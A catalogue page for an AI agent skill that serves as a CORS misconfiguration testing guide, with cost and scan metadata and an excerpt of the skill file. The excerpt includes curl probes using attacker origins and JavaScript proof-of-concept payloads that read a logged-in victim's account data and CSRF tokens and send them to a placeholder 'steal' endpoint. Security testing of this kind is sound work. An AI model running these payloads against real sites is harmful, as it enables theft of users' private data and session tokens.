cors-misconfig

cors-misconfig is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 108 tokens per session (1,745 once invoked), scanned A, a copy of cors-misconfig, MIT.

A security testing guide for unsafe Cross-Origin Resource Sharing (CORS), a browser rule that controls which other websites may read a site's responses.

In plain words
What is it for?
It is for checking allowed origins, credentials, wildcard settings, and responses containing sensitive information.
Why use it?
It helps find configurations that let an attacker-controlled website read private data from a logged-in user's browser.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for checking allowed origins, credentials, wildcard settings, and responses containing sensitive information.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/cors-misconfig
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill cors-misconfig
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cors-misconfig

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cors-misconfig/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/cors-misconfig)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cors-misconfig"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cors-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cors-misconfig

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cors-misconfig"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cors-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 108 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,745 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00108 $0.01745
Opus 5.5 $0.00043 $0.00698
Sonnet 5.5 $0.00022 $0.00349
Haiku 4.5 $0.00011 $0.00175

Measured 20d ago against content hash b89646e550b5, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

cors-misconfig scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -H "Origin: https://attacker.com" \
Origin

This is a copy

100% identical to cors-misconfig — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/cors-misconfig/SKILL.md · 124 lines

How it starts

The opening of the file, as written. The whole thing — 124 lines — stays where its author put it; the contents beside it link to each section on GitHub.

CORS Misconfiguration

What Is Broken and Why

Cross-Origin Resource Sharing (CORS) extends the same-origin policy to allow controlled cross-origin requests. Misconfigurations arise when servers reflect arbitrary Origin values in Access-Control-Allow-Origin without validation, allow null origins (exploitable via sandboxed iframes), or combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true (which browsers reject per spec but server-side logic may still honor insecurely). An attacker exploiting a CORS misconfiguration can read authenticated API responses from a victim's browser, leaking session data, PII, CSRF tokens, and other sensitive information.

Key Signals

  • Access-Control-Allow-Origin mirrors the Origin request header verbatim
  • Access-Control-Allow-Origin: * on endpoints returning sensitive data (even without credentials, if the data is public-sensitive)
  • Access-Control-Allow-Credentials: true combined with origin reflection
  • Access-Control-Allow-Origin: null — exploitable via sandboxed iframe
  • Wildcard subdomain trust: any *.example.com origin accepted, including attacker-controlled subdomains
  • Missing Vary: Origin header indicating improper caching of CORS responses

Methodology

  1. Identify API endpoints and sensitive data responses.
  2. Add Origin: https://attacker-controlled.com to requests; check if it is reflected in Access-Control-Allow-Origin.
  3. Add Origin: null; check if Access-Control-Allow-Origin: null is returned.
  4. Check Access-Control-Allow-Credentials: true — if combined with origin reflection, full exploitation is possible.
  5. Test subdomain variations: Origin: https://evil.TARGET-DOMAIN to check for overly broad subdomain trust.
  6. Test with OWASP ZAP's passive and active scanner for automated CORS header analysis.
  7. Build a PoC with fetch() and credentials: include from an attacker page to confirm read access.

Payloads & Tools

# Manual header injection test
curl -s -H "Origin: https://attacker.com" \
     -H "Cookie: session=TOKEN" \
     -v TARGET/api/user-data 2>&1 | grep -i "access-control"

# Check for null origin acceptance
curl -s -H "Origin: null" TARGET/api/sensitive-data -v 2>&1 | grep -i "access-control"

# Check for subdomain trust
curl -s -H "Origin: https://evil.target-domain.com" TARGET/api/data -v 2>&1 | grep access-control

# JavaScript PoC — origin reflection with credentials
<script>
fetch('https://TARGET/api/account', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  fetch('https://VICTIM/steal?d=' + encodeURIComponent(data));
});
</script>

# JavaScript PoC — null origin via sandboxed iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://TARGET/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => top.location = 'https://VICTIM/steal?d=' + encodeURIComponent(d));
</script>"></iframe>

# CORS misconfiguration leading to CSRF token read
<script>
fetch('https://TARGET/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
  var csrfToken = html.match(/csrf[_-]?token.*?value="([^"]+)"/i)[1];
  // Now use csrfToken to submit CSRF-protected forms
  fetch('https://VICTIM/steal?t=' + csrfToken);
});
</script>

# ZAP — Active scan for CORS
# Analyze -> Active Scan -> run against target; check Alerts for CORS issues

Read the full file on GitHub · 124 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago First seen · 124 lines · 108 tokens per session scan A b89646e550b5

Subscribe to this mod's changes

cors-misconfig is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 108 tokens to every session and 1,745 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to cors-misconfig, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

playwright-best-practices

Use when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, testing accessibility (axe-core), file uploads/downloads, date/time mocking, WebSockets, geolocation, permissions…

currents-dev/playwright-best-practices-skill · 214 tokens

fullpage-screenshot

Capture full-page screenshots of a website at several viewport widths at once, including pages behind basic auth or needing setup clicks. Use when asked to screenshot a site, grab full-page captures, check a page across breakpoints, produce responsive review artefacts, or compare how a layout renders at mobile, tablet…

mad-coders/fullpage-screenshot-ai-skill · 69 tokens

legado-book-source-generator

A skill for analysing websites and generating book-source rules for Legado, an app that reads online novels and other books. It is triggered by requests involving book sources, Legado rules, or novel-site analysis.

Narylr350/book-source-creator-skill · 84 tokens

serpbase-skill

Agent-portable SerpBase skill for Codex, Claude Code, OpenClaw, opencode, and other AI coding/research agents. Use when an agent needs current Google Search, Images, News, Videos, Google Maps local search, or Google Maps place detail results through serpbase.dev; when configuring search grounding through SerpBase; or…

serpbase-dev/serpbase-skill · 98 tokens

reddit-skills

Reddit automation skill collection. Supports authentication, content publishing, search & discovery, social interactions, and compound operations. Triggered when a user asks to operate Reddit (post, search, comment, login, analyze, upvote, save).

beggarticksarthurtatum121/reddit-skills · 51 tokens

hasdata

Use HasData to scrape any public web page, run real-time Google/Bing/Google-AI-Mode search queries, pull structured data from e-commerce, real-estate, lodging, jobs, maps, travel, video, and social platforms, or run async bulk-scraping and crawling jobs without managing proxies, browsers, or captchas. Reach for this…

HasData/agent-skills · 154 tokens